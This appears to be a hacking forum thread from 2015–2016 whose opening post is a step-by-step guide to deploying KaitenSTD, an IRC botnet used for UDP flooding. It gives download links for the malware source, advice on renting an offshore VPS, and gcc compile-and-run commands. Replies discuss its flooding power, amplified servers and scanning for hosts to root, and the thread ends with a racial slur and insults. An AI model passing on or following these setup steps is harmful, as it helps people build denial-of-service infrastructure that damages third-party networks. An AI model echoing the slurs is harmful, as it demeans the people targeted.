Thread: [How to setup KaitenSTD full tut](#)

hexrex111 - August 22, 2015, 1:41 am

Download: Unrealircd @

([http://www\(dot\)mediafire.com/download/42yy6b39wtkxnf/Unreal3.2.10.rar](http://www(dot)mediafire.com/download/42yy6b39wtkxnf/Unreal3.2.10.rar)

Download: KaitenSTD @

([http://www\(dot\)mediafire.com/download/x6qhqnna42qm6rd/KaitenSTD.c](http://www(dot)mediafire.com/download/x6qhqnna42qm6rd/KaitenSTD.c)

You will need:

VPS for hosting

OFFSHORE VPS

unmeterd VPS

when the files are installed install filezilla or winSCP to put the files into your VPS or OVH
now when thats not configure kaitenstd.c to your irc server & channel than type this command in
gcc -o KaitenSTD KaitenSTD.c then type in ./KaitenSTD

once all configured you should see a bot in your channel

Chegu - August 22, 2015, 1:48 am

Imao, this is the most HQ tut i've seen for awhile :D

hexrex111 - August 22, 2015, 2:55 am

Thank you the reason why i did kaitenstd is cos kaiten started dying down so im openening it again

Decay88 - August 22, 2015, 7:00 am

What is this kaiten std you speak of?

J?son - August 22, 2015, 7:07 am

it is kaiten but with a method std it is really powerful aka irc botnet in other words :)

(Aug 22, 2015 07:07 AM)ROOT Wrote: [\[CITE\]](#) It's a modified kaiten with AIDS.

oi nice person if you dont apprecate me helping you i surgest you fuck off

arun hacker - August 23, 2015, 12:49 am

Thanks for the source of bot

geforce07 - August 23, 2015, 5:55 am

Whats the "PASS" and KEY" ?

KaitenScript - August 23, 2015, 7:40 pm

I have the updated std kaiten as well it hits pretty Damn hard that with amped servers and your set

Zettabit - August 23, 2015, 7:45 pm

STD is the most useless method I have ever seen. It's literally just raw UDP sending "std" with a slight delay.

Why even give it a different name?

hexrex111 - August 28, 2015, 9:43 am

gg :P may i ask do you have a scanner?

Surday - August 28, 2015, 9:58 am

"may i ask do you have a scanner?"

User thinks you can scan for spoofable servers to root.

hexrex111 - August 30, 2015, 7:14 am

lol ik you can scan for it :P

PoisonForce - November 10, 2016, 8:19 pm

Tried to compile and failed :|

Kaiten.c: In function 'main':

Kaiten.c:478: error: stray '\342' in program

Kaiten.c:478: error: stray '\200' in program

Kaiten.c:478:1: error: pasting "?" and "Nix" does not give a valid preprocessing token

Kaiten.c:478: error: stray '\234' in program

Kaiten.c:478: error: stray '\342' in program

Kaiten.c:478: error: stray '\200' in program

Kaiten.c:478: error: stray '\235' in program

Kaiten.c:478: error: 'Nix' undeclared (first use in this function)

Kaiten.c:478: error: (Each undeclared identifier is reported only once

Kaiten.c:478: error: for each function it appears in.)

Bescht - November 11, 2016, 12:32 pm

what shit i just read?!?!?!?!?

RouterNets - November 11, 2016, 12:35 pm

A1 NIGGA!!!!!!!!!!!!!!!!!!!!!!
